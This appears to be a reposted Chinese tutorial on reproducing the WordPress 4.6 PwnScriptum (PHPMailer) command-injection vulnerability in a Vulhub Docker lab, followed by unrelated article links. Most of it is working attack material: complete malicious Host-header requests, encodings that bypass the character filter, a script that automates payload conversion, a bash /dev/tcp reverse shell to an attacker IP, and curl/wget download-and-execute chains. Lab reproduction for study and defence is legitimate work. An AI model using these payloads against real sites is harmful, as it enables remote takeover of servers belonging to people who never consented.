当前位置: 首页 > article >正文

WordPress 4.6老漏洞复现:用Docker+BurpSuite一步步拿Shell(附绕过字符限制技巧)

WordPress 4.6命令执行漏洞实战从Docker环境搭建到Shell获取全解析在网络安全领域漏洞复现是提升实战能力的重要途径。今天我们将深入探讨WordPress 4.6版本中一个经典的命令执行漏洞PwnScriptum通过完整的实验流程帮助安全爱好者理解漏洞原理并掌握实际利用技巧。不同于简单的漏洞复现教程本文将重点解析漏洞利用过程中的关键限制及其绕过方法让你不仅能复现漏洞更能理解背后的技术细节。1. 实验环境准备与漏洞背景1.1 漏洞概述与影响范围WordPress 4.6版本的PwnScriptum漏洞源于PHP Mailer组件版本5.2.18的一个设计缺陷。该漏洞允许攻击者通过精心构造的HTTP请求头在目标服务器上执行任意系统命令。值得注意的是这个漏洞的利用需要满足以下条件WordPress版本≤4.6.0PHP Mailer版本5.2.18知道至少一个有效的后台用户名漏洞利用的核心原理在于攻击者可以控制Host头中的特定参数通过邮件发送功能触发命令执行。这种类型的漏洞在Web应用中尤为危险因为它可能绕过常规的输入过滤机制。1.2 Docker环境搭建为了安全地复现这个漏洞我们使用Vulhub提供的Docker环境。以下是详细的环境搭建步骤首先确保系统已安装Docker和docker-compose下载Vulhub漏洞环境库git clone https://github.com/vulhub/vulhub.git进入WordPress漏洞目录cd vulhub/wordpress/pwnscriptum启动漏洞环境docker-compose up -d环境启动后可以通过以下命令验证服务状态docker-compose ps正常情况下你应该看到类似如下的输出Name Command State Ports -------------------------------------------------------------------------------- wordpress_db_1 docker-entrypoint.sh mysqld Up 3306/tcp wordpress_web_1 docker-php-entrypoint apac ... Up 0.0.0.0:8080-80/tcp提示实验结束后记得使用docker-compose down命令清理环境避免占用系统资源。2. 漏洞利用的核心机制分析2.1 漏洞触发点解析该漏洞的触发点在于WordPress的密码重置功能。当用户请求密码重置时系统会构造一封包含重置链接的邮件发送给用户。在这个过程中PHP Mailer组件会处理邮件头信息而Host头的特殊构造可以被利用来注入系统命令。典型的漏洞利用数据包结构如下POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{要执行的命令}} null) User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 56 wp-submitGetNewPasswordredirect_touser_loginadmin2.2 关键限制与绕过思路这个漏洞在实际利用中存在几个重要限制理解这些限制对成功复现至关重要字符限制斜杠(/)必须替换为${substr{0}{1}{$spool_directory}}空格必须替换为${substr{10}{1}{$tod_log}}不能使用引号和管道符大小写转换所有命令会被自动转换为小写路径要求必须使用绝对路径不能依赖环境变量例如必须使用/bin/bash而非简单的bash用户名要求必须提供有效的后台用户名无回显命令执行后不会在页面上显示输出为了绕过这些限制通常采用分阶段执行的策略先下载远程服务器上的恶意脚本然后执行下载的脚本获取交互式shell3. 实战漏洞利用从命令执行到获取Shell3.1 准备反弹Shell载荷在开始漏洞利用前我们需要准备两个关键组件恶意脚本包含反弹Shell命令的shell脚本监听服务用于接收反弹Shell连接的Netcat监听器首先创建一个名为shell.sh的脚本文件内容如下#!/bin/bash bash -i /dev/tcp/攻击者IP/7777 01然后启动Netcat监听器nc -lvnp 77773.2 构造有效载荷我们需要执行两条关键命令下载恶意脚本/usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh执行下载的脚本/bin/bash /tmp/rce根据漏洞限制我们需要对这些命令进行特殊处理原始命令处理后格式/${substr{0}{1}{$spool_directory}}空格${substr{10}{1}{$tod_log}}以第一条命令为例转换过程如下原始命令/usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh替换斜杠${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl -o ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce 攻击者IP${substr{0}{1}{$spool_directory}}shell.sh替换空格${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh3.3 使用BurpSuite发送恶意请求以下是使用BurpSuite发送恶意请求的详细步骤拦截密码重置请求在浏览器中访问http://目标IP:8080/wp-login.php?actionlostpassword输入已知的用户名如admin并点击Get New Password使用BurpSuite拦截这个请求修改Host头将Host头替换为处理后的命令格式target(any -frootlocalhost -be ${run{处理后的命令}} null)发送第一条命令下载脚本POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh}} null)发送第二条命令执行脚本POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)成功执行后你应该能在Netcat监听器中看到反弹Shell的连接。4. 高级技巧与替代方案4.1 命令构造的自动化处理手动转换命令既繁琐又容易出错。我们可以使用简单的Shell脚本来自动化这个过程#!/bin/bash cmd$1 # 替换斜杠 cmd${cmd//\//\${substr{0}{1}{\$spool_directory}}} # 替换空格 cmd${cmd// /\${substr{10}{1}{\$tod_log}}} echo target(any -frootlocalhost -be \${run{$cmd}} null)使用方法./transform.sh /usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh4.2 替代的利用方式除了使用curl下载脚本外还有其他几种常见的利用方式使用wget替代curl/usr/bin/wget -O /tmp/rce 攻击者IP/shell.sh直接执行命令适用于简单操作/usr/bin/whoami写入文件直接执行echo bash -i /dev/tcp/攻击者IP/7777 01 /tmp/rce /bin/bash /tmp/rce4.3 常见问题排查在漏洞复现过程中可能会遇到以下问题及解决方案问题现象可能原因解决方案命令未执行用户名不正确确保使用有效的后台用户名无反弹Shell连接网络问题或命令错误检查监听器设置和命令转换是否正确Docker环境无法启动端口冲突修改docker-compose.yml中的端口映射脚本下载失败路径或权限问题确保web服务器可访问且脚本路径正确注意在实际渗透测试中务必确保已获得目标系统的授权。未经授权的测试可能违反法律。

相关文章:

WordPress 4.6老漏洞复现:用Docker+BurpSuite一步步拿Shell(附绕过字符限制技巧)

WordPress 4.6命令执行漏洞实战:从Docker环境搭建到Shell获取全解析 在网络安全领域,漏洞复现是提升实战能力的重要途径。今天我们将深入探讨WordPress 4.6版本中一个经典的命令执行漏洞(PwnScriptum),通过完整的实验流…...

从修补Boot到反编译锁屏:一个安卓ROM修改新手的完整避坑日记

从修补Boot到反编译锁屏:一个安卓ROM修改新手的完整避坑日记 第一次接触安卓ROM修改时,我像大多数新手一样充满热情却屡屡碰壁。那些看似简单的解包、修改、打包操作背后,隐藏着无数让设备变砖的陷阱。这篇日记记录了我从零开始学习安卓ROM修…...

开源社区荣誉提名系统:从量化到质化的贡献认可实践

1. 项目概述:一个开源社区的荣誉提名系统如果你参与过开源项目,尤其是那些有活跃社区的项目,你可能会注意到一个现象:总有一些贡献者,他们提交的代码可能不是最多的,解决的议题也不是最复杂的,但…...

手把手教你用MounRiver Studio给WCH CH582 BLE项目添加TMOS多任务(附完整代码)

基于WCH CH582的TMOS多任务开发实战指南 在嵌入式BLE开发领域,南京沁恒微电子推出的RISC-V架构CH582系列芯片凭借其出色的低功耗表现和内置TMOS任务管理系统,正成为物联网终端设备的理想选择。本文将带您从零开始,在MounRiver Studio环境中构…...

一个开发者的AI工具链优化实录:从三个会员到一站搞定

4月29号晚上,技术群里被一条消息刷屏了——Gemini 3.1 Pro 上线了创意漫画功能。 我随手敲了句“画一个后端排查死锁的心路历程”,几秒钟弹出一套四格漫画,分镜利落,对白清晰,最后一格里那个趴在键盘上的小人&#xf…...

告别调参烦恼!手把手教你用ESO实现永磁同步电机无模型预测控制(附Simulink仿真)

永磁同步电机无模型预测控制实战:从理论到Simulink仿真全解析 电机控制领域正在经历一场从依赖精确模型到数据驱动的范式转变。传统PI调节器虽然结构简单,但面对非线性、强耦合的永磁同步电机系统时,调试过程往往令人抓狂——比例系数和积分…...

ClawDesk:基于YAML与心跳机制的AI Agent自动化编排平台

1. 项目概述:ClawDesk,一个为AI Agent团队设计的“指挥中心” 如果你正在使用OpenClaw,并且手头管理着不止一个AI Agent,那你可能已经体会过那种“甜蜜的烦恼”:每个Agent都在各自的终端里跑着,任务进度得靠…...

2026年晋城文化墙设计大揭秘,独特创意究竟藏着什么奥秘?

在晋城,文化墙不仅是城市的一道风景线,更是文化传承与创新的重要载体。2026年,晋城飞达广告有限公司设计的文化墙展现出了独特的魅力,让我们一起揭开其背后的奥秘。一、深度融合文化理念数据支撑据不完全统计,晋城飞达…...

3分钟极速上手:八大网盘下载加速神器LinkSwift终极指南

3分钟极速上手:八大网盘下载加速神器LinkSwift终极指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼…...

LuatOS+Air8101引擎主机开发钉钉机器人APP

本文以Air8101引擎主机为硬件平台,基于LuatOS系统和AirUI轻量化图形框架,开发一款钉钉机器人消息发送APP。文章详细记录了从软硬件环境准备、代码仓库拉取、PC模拟器配置,到使用DeepSeek生成UI界面及资源文件,最终利用Trae AI工具…...

好用的石墨消解仪哪家技术强

在分析检测领域,石墨消解仪是重要的样品前处理设备。那么,哪家的石墨消解仪技术强呢?下面为您详细分析。石墨消解仪的重要性石墨消解仪在环境监测、食品安全、农产品检测等众多领域发挥着关键作用。它能对样品进行有效的消解处理,…...

想搞懂国产大飞机C919的‘准生证’?一文拆解民航局适航审定的18种证件与办理流程

国产大飞机C919适航取证全流程解析:18种关键证件与实战指南 当一架国产大飞机从设计图纸到翱翔蓝天,背后是数以万计的零部件协同工作和长达数年的适航审定历程。C919作为中国首款按照国际适航标准研制的大型客机,其取证过程堪称航空工业的&qu…...

2026年小程序开发公司怎么选?这份避坑指南+标杆企业推荐请收好

随着小程序市场规模突破476亿元、年增速达37%,越来越多的企业面临开发公司选择难题。如何在百家争鸣的市场中精准匹配需求?本文将从行业现状、选型标准到标杆企业横向对比,为你提供一份实用决策指南。一、2026年小程序开发市场三大关键趋势定…...

对比直接使用原厂 API 体验 Taotoken 在接入便捷性上的优势

Taotoken 统一接入体验:多模型密钥管理与分钟级配置 1. 多模型密钥的统一管理 在实际开发过程中,管理多个大模型提供商的 API 密钥往往成为一项繁琐的工作。每个厂商通常有独立的控制台、不同的密钥生成机制以及各自的安全策略。通过 Taotoken 平台&am…...

GitHub下载加速终极指南:如何让GitHub下载速度提升10倍

GitHub下载加速终极指南:如何让GitHub下载速度提升10倍 【免费下载链接】Fast-GitHub 国内Github下载很慢,用上了这个插件后,下载速度嗖嗖嗖的~! 项目地址: https://gitcode.com/gh_mirrors/fa/Fast-GitHub 还在为GitHub的…...

实测 Taotoken 多模型路由的稳定性与低延迟体感

实测 Taotoken 多模型路由的稳定性与低延迟体感 1. 测试环境与调用场景 本次测试基于实际开发需求展开,调用频率模拟中小型应用的生产负载。测试周期为连续7天,每日调用量约500-800次,覆盖文本生成、代码补全和对话交互三类典型场景。测试使…...

【Swoole+LLM长连接生产落地白皮书】:20年架构师亲授高并发、低延迟、零断连的5大核心部署法则

更多请点击: https://intelliparadigm.com 第一章:SwooleLLM长连接架构全景与生产价值定位 Swoole 作为高性能 PHP 协程引擎,结合大语言模型(LLM)的流式推理能力,可构建低延迟、高并发、全双工的智能会话服…...

观测Taotoken平台用量与成本的实际体感与账单透明度

观测Taotoken平台用量与成本的实际体感与账单透明度 1. 用量看板的实时可视化呈现 登录Taotoken控制台后,用量看板默认展示最近7天的调用趋势。顶部卡片区以三组核心指标开场:总消耗Token数、成功请求次数和平均响应延迟。这种布局让开发者能快速把握近…...

Windows系统优化神器:5分钟掌握Chris Titus Tech WinUtil完整指南

Windows系统优化神器:5分钟掌握Chris Titus Tech WinUtil完整指南 【免费下载链接】winutil Chris Titus Techs Windows Utility - Install Programs, Tweaks, Fixes, and Updates 项目地址: https://gitcode.com/GitHub_Trending/wi/winutil 还在为Windows系…...

探索AI绘画新境界:chilloutmix_NiPrunedFp32Fix模型完全指南

探索AI绘画新境界:chilloutmix_NiPrunedFp32Fix模型完全指南 【免费下载链接】chilloutmix_NiPrunedFp32Fix 项目地址: https://ai.gitcode.com/hf_mirrors/emilianJR/chilloutmix_NiPrunedFp32Fix 你是否想过,只需简单的文字描述就能创造出令人…...

Windows 11系统优化神器:Win11Debloat一键清理预装应用与隐私保护

Windows 11系统优化神器:Win11Debloat一键清理预装应用与隐私保护 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declu…...

保姆级教程:用ADB命令和工程模式,快速鉴别你的Pixel是Verizon版还是解锁版

Pixel手机运营商版本鉴别全指南:从工程模式到ADB命令实战 每次拿到一台二手Pixel手机,最让人头疼的就是如何确认它的运营商版本。特别是Verizon版的Pixel,往往会在刷机和系统更新上带来诸多限制。作为一名经历过无数次刷机失败的"老司机…...

7个高效技巧,让Maccy成为你的macOS剪贴板管理神器

7个高效技巧,让Maccy成为你的macOS剪贴板管理神器 【免费下载链接】Maccy Lightweight clipboard manager for macOS 项目地址: https://gitcode.com/gh_mirrors/ma/Maccy Maccy是一款专为macOS设计的轻量级剪贴板管理器,它能够智能记录你的复制历…...

如何在5分钟内快速上手NBFC Linux终极风扇控制方案

如何在5分钟内快速上手NBFC Linux终极风扇控制方案 【免费下载链接】nbfc-linux NoteBook FanControl ported to Linux 项目地址: https://gitcode.com/gh_mirrors/nb/nbfc-linux NBFC Linux是一个专为Linux系统设计的笔记本电脑风扇控制开源工具,它能智能调…...

利用Taotoken CLI工具一键配置多款ai开发环境

利用Taotoken CLI工具一键配置多款AI开发环境 1. 安装Taotoken CLI工具 Taotoken CLI工具提供两种安装方式,适用于不同使用场景。对于需要频繁使用CLI的用户,推荐全局安装: npm install -g taotoken/taotoken对于临时使用或项目内集成&…...

Skill知识整理

skill:完成特定任务的标准化、可复用流程 明确输入-固定步骤-预期输出原理(拆解标准化):把复杂任务拆解成简单可执行的小步骤,每个步骤都有明确的输入输出,用标准化的逻辑把这些步骤衔接起来价值:提升效率&…...

软件行业的下一站:从“记录世界”到“预测世界”

过去三十年,软件的核心使命是“记录”。ERP记录交易,CRM记录客户,MES记录生产,OA记录审批。人把数据填进去,系统负责存起来、查出来、统计出来。决策还是靠人,软件只是“助手”。这个时代正在结束。两股力量…...

完整指南:如何使用MedMNIST标准化医疗图像数据集加速医学AI基准测试

完整指南:如何使用MedMNIST标准化医疗图像数据集加速医学AI基准测试 【免费下载链接】MedMNIST [pip install medmnist] 18x Standardized Datasets for 2D and 3D Biomedical Image Classification 项目地址: https://gitcode.com/gh_mirrors/me/MedMNIST 医…...

Boss-Key老板键:Windows隐私保护终极指南,一键隐藏窗口的免费开源神器

Boss-Key老板键:Windows隐私保护终极指南,一键隐藏窗口的免费开源神器 【免费下载链接】Boss-Key 老板来了?快用Boss-Key老板键一键隐藏静音当前窗口!上班摸鱼必备神器 项目地址: https://gitcode.com/gh_mirrors/bo/Boss-Key …...

Dubbo 3.x实战:用@DubboService和@DubboReference重构一个老旧单体应用

Dubbo 3.x实战:用DubboService和DubboReference重构一个老旧单体应用 1. 从单体到微服务的重构挑战 当Spring MVC单体应用发展到一定规模,服务间的紧耦合和扩展性问题就会逐渐暴露。我曾参与过一个电商后台系统的重构项目,该系统最初采用传…...